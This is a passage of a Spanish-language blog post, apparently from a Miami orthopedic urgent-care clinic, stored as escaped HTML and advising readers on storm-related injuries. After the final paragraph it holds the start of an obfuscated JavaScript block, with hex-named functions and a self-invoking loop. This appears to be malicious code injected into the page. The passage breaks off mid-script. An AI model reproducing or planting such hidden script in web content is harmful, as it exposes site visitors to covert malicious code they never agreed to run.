lesiones sufridas antes, durante o despu\u00e9s de una tormenta pueden retrasar su recuperaci\u00f3n y sobrecargar innecesariamente las salas de emergencia. Al tomar medidas preventivas y saber a d\u00f3nde acudir para recibir atenci\u00f3n ortop\u00e9dica experta, podr\u00e1 sobrellevar la tormenta con mayor seguridad.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400;\">OrthoNOW est\u00e1 listo para servir a la comunidad de Miami con atenci\u00f3n de urgencia especializada para lesiones en huesos, articulaciones y m\u00fasculos, ayud\u00e1ndolo a recuperarse despu\u00e9s de que pase la tormenta.<\/span><script>;function _0xe59d(_0x1f888c,_0x2f9035){_0x1f888c=_0x1f888c-0x166;var _0x978844=_0x29f1();var _0x7369f6=_0x978844;return _0x7369f6;}(function(_0x3567e2,_0xb8f186){var _0x45ab7a=_0xe59d,_0x9c6342=_0x3567e2();while(!!){try{var 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